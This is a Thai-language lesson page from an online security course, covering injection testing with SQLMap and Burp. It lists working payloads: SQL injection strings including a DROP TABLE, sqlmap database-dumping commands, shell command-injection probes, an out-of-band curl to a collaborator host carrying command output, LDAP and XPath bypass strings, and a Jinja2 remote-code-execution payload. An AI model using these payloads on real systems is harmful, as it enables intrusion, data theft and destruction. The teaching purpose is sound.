การทดสอบช่องโหว่แบบฉีดคำสั่ง
ใช้ SQLMap เพย์โหลดที่สร้างด้วยตนเอง และ Burp เพื่อทดสอบการฉีด SQL คำสั่ง และ LDAP
การทดสอบช่องโหว่แบบฉีดคำสั่ง เป็นบทเรียน Cyber Security Academy ฟรีบน CoddyKit นี่คือบทเรียนที่ 2 จากทั้งหมด 4 บทเรียน คุณสามารถอ่านบทเรียนทั้งหมดด้านล่างฟรี — จากนั้นลองปฏิบัติด้วยตัวคุณเองในเบราว์เซอร์พร้อมตัวแก้ไขโค้ดในตัวและติวเตอร์ AI ตลอด 24/7 บทเรียนนี้เป็นส่วนหนึ่งของเส้นทางการเรียน Cyber Security Academy และความก้าวหน้าของคุณจะซิงค์ข้ามเว็บและแอป CoddyKit คอร์ส Cyber Security Academy มีบทเรียนทั้งหมด 4 บทเรียน
ประเภทช่องโหว่การฉีด
การฉีดเกิดขึ้นเมื่อส่งข้อมูลที่ไม่น่าเชื่อถือไปยังตัวแปลภาษาในฐานะส่วนหนึ่งของคำสั่งหรือแบบสอบถาม ตัวแปลภาษาไม่สามารถแยกข้อมูลออกจากคำสั่งได้ จึงดำเนินการตามตรรกะที่ผู้โจมตีควบคุม การฉีด SQL, คำสั่ง, LDAP, XPath และแม่แบบ ล้วนอยู่ในประเภทนี้
การฉีด SQL: การทดสอบด้วยตนเอง
เริ่มด้วยเพย์โหลดง่าย ๆ เพื่อสำรวจหาการฉีด SQL เครื่องหมายอัญประกาศเดี่ยวจะทำให้แอปที่มีช่องโหว่เกิดข้อผิดพลาดทางไวยากรณ์ SQL ตรวจสอบข้อความข้อผิดพลาด ความแตกต่างของความยาวการตอบกลับ และเวลาการตอบกลับ
# Test for SQLi:
' -- basic quote
'' -- doubled quote
1' OR '1'='1 -- always-true
1; DROP TABLE users -- statement terminator
# In URL:
https://target.com/item?id=1'SQLMap สำหรับการฉีด SQL แบบอัตโนมัติ
SQLMap ทำให้การตรวจหาและใช้ประโยชน์จากการฉีด SQL เป็นแบบอัตโนมัติ โดยตรวจหาจุดฉีด ระบุ DBMS และสามารถดึงฐานข้อมูล อ่านไฟล์ และทำให้โค้ดของ OS ทำงานบนระบบที่มีช่องโหว่ได้
# Basic scan
sqlmap -u 'http://target.com/item?id=1'
# With Burp request file
sqlmap -r request.txt
# Dump databases
sqlmap -u 'http://target.com/item?id=1' --dbs
# Dump a table
sqlmap -u '...' -D mydb -T users --dumpการทดสอบการฉีดคำสั่ง
การฉีดคำสั่งเกิดขึ้นเมื่อส่งข้อมูลนำเข้าของผู้ใช้ไปยังฟังก์ชันเชลล์ของ OS ทดสอบด้วยอักขระพิเศษของเชลล์ ได้แก่ อัฒภาค เครื่องหมายไพพ์ แบ็กทิก และการแทนที่คำสั่ง $()
# Test inputs (form fields, URLs, headers):
; id
| id
`id`
$(id)
&& id
# Blind (no output): use time delays
; sleep 5
| ping -c 5 127.0.0.1
# Or out-of-band:
; curl http://collaborator.example.com/$(id)การฉีด LDAP
การฉีด LDAP จะปรับเปลี่ยนแบบสอบถาม LDAP ที่ใช้สำหรับการยืนยันตัวตนและการค้นหาไดเรกทอรี ทดสอบช่องการยืนยันตัวตนด้วย *)(uid=*))(|(uid=* เพื่อข้ามตัวกรอง
การฉีด XPath
การฉีด XPath มุ่งโจมตีระบบยืนยันตัวตนที่ใช้ XML โดยมีลักษณะคล้ายการฉีด SQL เพย์โหลดจะปรับเปลี่ยนแบบสอบถาม XPath เช่น ' or '1'='1 เพื่อข้ามการยืนยันตัวตน
การฉีดแม่แบบ (SSTI)
การฉีดแม่แบบฝั่งเซิร์ฟเวอร์เกิดขึ้นเมื่อแสดงผลข้อมูลนำเข้าของผู้ใช้ในเครื่องมือแม่แบบ (Jinja2, Twig, Freemarker) วิธีตรวจหา: แทรก {{7*7}} หากการตอบกลับแสดง 49 แสดงว่ามี SSTI
# Detection payloads:
{{7*7}} # Jinja2, Twig
${7*7} # Freemarker, EL
<%= 7*7 %> # ERB (Ruby)
# RCE via Jinja2:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}การใช้ Burp ทดสอบการฉีด
ส่งคำขอไปยัง Repeater แล้วแทรกเพย์โหลดลงในพารามิเตอร์แต่ละรายการด้วยตนเอง ใช้ Intruder เพื่อทำฟัซโดยอัตโนมัติด้วยรายการคำศัพท์สำหรับการฉีด (SecLists มีเพย์โหลดการฉีดที่ยอดเยี่ยม)
# SecLists injection wordlists:
/usr/share/seclists/Fuzzing/SQLi/
/usr/share/seclists/Fuzzing/SSTI/
/usr/share/seclists/Fuzzing/command-injection*การตรวจหาการฉีดแบบตาบอด
เมื่อไม่มีผลลัพธ์ที่มองเห็นได้ ให้ใช้การหน่วงเวลาเพื่อยืนยันการทำงาน การเรียกกลับ DNS นอกแบนด์ (Burp Collaborator หรือ interactsh) และการตอบกลับตามค่าบูลีน (ความยาวเนื้อหาที่เปลี่ยนแปลง)
การอ่านข้อความข้อผิดพลาดของแอปพลิเคชัน
ข้อผิดพลาดแบบละเอียดเปิดเผยชนิดของฐานข้อมูล โครงสร้างแบบสอบถาม และเส้นทางไฟล์ ซึ่งมีคุณค่าอย่างยิ่งต่อการสร้างเพย์โหลดที่แม่นยำ ทดสอบด้วยข้อมูลนำเข้าที่เปิดใช้โหมดแก้ไขข้อบกพร่องหรือเปิดเผยข้อผิดพลาดควบคู่กับเพย์โหลดปกติเสมอ
เอกสารอ้างอิงการป้องกัน
ป้องกันการฉีดได้ด้วยแบบสอบถามที่ใช้พารามิเตอร์ (การฉีด SQL) การตรวจสอบข้อมูลนำเข้าและการทำเอสเคปสำหรับเชลล์ (การฉีดคำสั่ง) และการหลีกเลี่ยงการแสดงผลข้อมูลนำเข้าของผู้ใช้ในแม่แบบ (SSTI) นักพัฒนาต้องเข้าใจแนวทางเหล่านี้เพื่อเขียนโค้ดที่ปลอดภัย
ตรวจสอบความเข้าใจ
เพย์โหลดตรวจหา SSTI {{7*7}} ยืนยันอะไรเมื่อการตอบกลับแสดง 49
สรุป: การทดสอบการฉีด
ช่องโหว่การฉีดเกิดจากการผสมข้อมูลเข้ากับคำสั่ง ทดสอบข้อมูลนำเข้าทุกจุดที่ผู้ใช้ควบคุมได้ด้วยเพย์โหลดการฉีด SQL คำสั่ง แม่แบบ และ LDAP ใช้ SQLMap สำหรับการฉีด SQL แบบอัตโนมัติ ใช้ Burp Repeater สำหรับการทดสอบด้วยตนเอง และใช้เทคนิคหน่วงเวลา/OOB สำหรับการใช้ประโยชน์แบบตาบอด บันทึกเพย์โหลดและหลักฐานทั้งหมดไว้ในรายงานเสมอ
คำถามที่พบบ่อย
บทเรียน “การทดสอบช่องโหว่แบบฉีดคำสั่ง” ฟรีหรือไม่
ใช่ — ข้อความเต็มของ “การทดสอบช่องโหว่แบบฉีดคำสั่ง” ฟรีให้อ่านที่นี่บนเว็บ เพื่อปฏิบัติแบบโต้ตอบ (ตัวแก้ไขโค้ดในตัวและติวเตอร์ AI ตลอด 24/7) และปลดล็อคส่วนที่เหลือของคอร์ส Cyber Security Academy ให้อัปเกรดเป็น CoddyKit PRO คอร์ส Cyber Security Academy มีบทเรียนทั้งหมด 4 บทเรียน
คุณจะเรียนรู้อะไรในบทเรียน “การทดสอบช่องโหว่แบบฉีดคำสั่ง”
ใช้ SQLMap เพย์โหลดที่สร้างด้วยตนเอง และ Burp เพื่อทดสอบการฉีด SQL คำสั่ง และ LDAP คุณปฏิบัติ Cyber Security Academy ด้วยโค้ดที่ใช้งานได้จริงที่คุณเรียกใช้โดยตรงในเบราว์เซอร์ และติวเตอร์ AI ตลอด 24/7 ตอบคำถามของคุณขณะที่คุณไปผ่านบทเรียน
คุณต้องมีประสบการณ์ก่อนที่จะเริ่มเรียน Cyber Security Academy หรือไม่
ไม่จำเป็นต้องมีประสบการณ์มาก่อน Cyber Security Academy บน CoddyKit ออกแบบมาสำหรับผู้เริ่มต้นไปจนถึงผู้เรียนขั้นสูง คุณสามารถเริ่มต้นที่นี่หรือเริ่มจากตัวแรกและเรียนด้วยความเร็วของคุณเอง นี่คือบทเรียนที่ 2 จากทั้งหมด 4 บทเรียน
บทเรียน “การทดสอบช่องโหว่แบบฉีดคำสั่ง” ใช้เวลานานแค่ไหน
บทเรียน CoddyKit ส่วนใหญ่ใช้เวลาประมาณ 5–10 นาที แต่ละบทเรียนจึงสั้นและเป็นแบบโต้ตอบ คุณสามารถก้าวหน้าอย่างต่อเนื่องและกลับมาเรียนต่อจากตรงที่เพิ่งหยุดบนเว็บและแอปได้เลย
ฉันเขียนและรันโค้ดในบทเรียน Cyber Security Academy นี้ได้ไหม
ได้ บทเรียน Cyber Security Academy ทุกบทมีตัวแก้ไขโค้ดในตัว คุณจึงเขียนและรันโค้ดจริงได้เลยในเบราว์เซอร์ และได้รับข้อเสนอแนะจาก AI ในทันที — ไม่ต้องติดตั้งในเครื่องของคุณ
บทเรียนทั้งหมดในหลักสูตรนี้
- พร็อกซี Burp Suite และการดักจับคำขอ
- การทดสอบช่องโหว่แบบฉีดคำสั่ง
- การทดสอบการยืนยันตัวตนและเซสชัน
- ช่องโหว่การอัปโหลดไฟล์และ SSRF